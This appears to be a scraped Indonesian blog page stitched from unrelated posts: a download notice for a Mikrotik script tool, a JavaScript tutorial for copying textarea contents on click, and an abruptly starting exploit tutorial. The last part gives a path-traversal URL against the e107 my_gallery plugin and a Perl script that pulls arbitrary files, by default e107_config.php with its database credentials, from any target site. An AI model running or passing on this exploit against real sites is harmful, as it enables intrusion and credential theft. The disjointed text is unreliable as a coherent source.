Screenshot :

Welcome Screen

Mikrotik Script Maker Queue

Mikrotik Script Maker Queue Tree

Mikrotik Script Maker RSC

Cara Penggunaan :

Jalankan file *.exe, lalu ikuti instruksi yang ada di setiap menu. Selesai ! :D

Download Files : Mikrotik Script Maker

MD5 : 8272366ae63f2bdec7e9098fada72656

Thanks to : LucuBRB

Nah, lalu apa yang menarik di sini ? Fungsi yang saya dapat dari hasil kemarin adalah, saat cursor melakukan click, maka semua yang ada pada textarea akan terpilih (Tested on Firefox, IE, dan Opera). Lalu untuk apa fungsinya ? Ya fungsinya adalah untuk select all aja :p Tergantung variasi kalian ingin digunakan untuk apa.

Berikut fungsi javascript nya :

<script type="text/javascript">
function doclip(d){
		var content = eval("document.kopi." + d) // menuju ke form
		content.focus()
		content.select()
		range = content.createTextRange()
		range.execCommand("Copy")
		window.status="Contents copied to clipboard" // Menampilkan status untuk IE
		setTimeout("window.status=''",1800)
	}
</script>

Setelah membuat fungsi di atas menggunakan javascript, sekarang buatlah rangkaian form seperti berikut :

<form name="kopi">
<textarea name="txta_pilihan" cols="25" rows="5" onclick="doclip('txta_pilihan')">
<!-- your text here -->
</textarea>

Kenapa <form> tidak diberi closing tag ? Karena kesimpulan saya itu hanya untuk identifikasi saja bahwa fungsi tersebut baru bisa di jalankan apabila form pemanggilnya di keluarkan. CMIIW. Kalau dikasih closing tag juga ngga’ masalah kok. Jangan lupa pada form tersebut diberi atribut name dengan value kopi

Nah, pada bagian berikutnya saya menggunakan textarea (bisa juga yang lain seperti input). Pada textarea tersebut saya menambahkan attribut name dengan value txta_pilihan. Lalu pada bagian OnClick (karena fungsi ini di konfigurasi jalan setelah di klik), saya menambahkan fungsi yang telah terbuat di atas yaitu onclick=”doclip(‘txta_pilihan’)”. Di mana doclip adalah fungsi yang telah di buat dan txta_pilihan adalah nama textarea yang ingin di pilih.

Bagaimana hasilnya ? Silakan di coba :) Laporkan jika terjadi error :D

http://www.target.com/e107_plugins/my_gallery/dload.php?file=../../e107_config.php

Contohnya seperti ini:





Nah, daripada menggunakan browser, bagaimana jika kita membuat script sederhana untuk memudahkan proses ini :D . Jadi script ini akan menerima 2 parameter dimana parameter terakhir sifatnya optional yaitu nama file pada target yang ingin dilihat. Jika parameter tersebut kosong, maka akan mencoba membuka file configurasi e107. Nah, berikut ini snippetnya dalam bahasa perl (maaf kodenya kacau maklum saya bukan programmer):

#!/usr/bin/perl

use LWP::UserAgent;

die("[i] aturan pakai: e107conf.pl <website> [file]\n") unless @ARGV > 0;
$ua = LWP::UserAgent->new;
$fx = ($ARGV[1] eq '') ? "../../e107_config.php" : $ARGV[1];
$ex = $ua->request(HTTP::Request->new(GET => "http://".$ARGV[0]."/e107_plugins/my_gallery/dload.php?file=".$fx));

if ($ex->is_success) { print "[+] web: ".$ARGV[0]."\n".$ex->content."\n"; }

Nah, berikut ini 2 screenshot ketika script ini bekerja dimana pada screenshot pertama kita hanya memberikan alamat website yang ingin dieksploitasi, sedangkan pada screenshot ke-2 kita memberikan parameter ke-2 yaitu nama file yang ingin dilihat :)










Penutup
Sekian dulu tutorial sederhana dari saya, semoga bisa bermanfaat untuk Anda. Sampai jumpa di tutorial berikutnya :)


Ucapan Terima Kasih
Tanpa Urutan: Tuhan Yang Maha Esa, NitrouZ, pinczakko, hddstudio, dylavig, LiFe, LucuBRB, 4NV|e, movzx, k0il, semua rekan-rekan yang tidak sempat saya sebutkan satu-satu di sini (you know who you are) :) dan Anda yang telah membaca tutorial ini… (terima kasih telah membaca tutorial ini)…